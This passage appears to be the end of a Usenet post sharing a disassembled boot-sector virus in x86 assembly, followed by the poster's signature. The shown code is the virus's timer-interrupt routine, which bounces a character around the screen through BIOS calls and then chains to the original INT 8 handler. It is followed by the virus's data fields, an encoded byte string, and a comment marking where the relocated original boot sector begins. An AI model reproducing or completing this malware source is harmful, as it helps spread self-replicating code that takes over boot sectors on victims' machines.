  583. VIDEO_09: 
  584.    ADD   DL,CL       ; NEW COLUMN POSITION
  585.    ADD   DH,CH       ; NEW ROW POSITION
  586.    MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
  587.    MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
  588.    MOV   AH,2        ; SET CURSOR ADDRESS
  589.    INT   10H         ; VDU INTERRUPT
  590.    MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
  591.    INT   10H         ; VDU INTERRUPT
  592.    MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
  593.    MOV   BL,AH       ; MOVE ATTRIBUTES
  594.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  595.    JNZ   VIDEO_10      ; BRANCH IF NOT
  596.    MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
  597. VIDEO_10: 
  598.    MOV   CX,1        ; ONCE ONLY
  599.    MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
  600.    INT   10H         ; VDU INTERRUPT
  601.    POP   DX          ; RESTORE CURSOR ADDRESS
  602.    MOV   AH,2        ; SET CURSOR ADDRESS
  603.    INT   10H         ; VDU INTERRUPT
  604.    POP   DX
  605.    POP   CX
  606.    POP   BX
  607.    POP   AX
  608.    POP   DS
  609.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
  610.    DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
  611.    DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT
  612.  
  613.    DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
  614.    DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
  615.    DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
  616.    DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
  617.    DW 3           ; MODEAP - MODE AND ACTIVE PAGE
  618.    DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1
  619.  
  620.  
  621.    DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
  622.    DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
  623.    DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
  624.    DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
  625.    DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
  626.  
  627.    ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
  628.  
  629. CODE  ENDS
  630.  
  631.    END   START
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638. --
  639. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  640. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  641. Student at the Northeatstern University College of Computer Science 
  642. "I Can't Believe It's Not Butter"
  643.  
  644.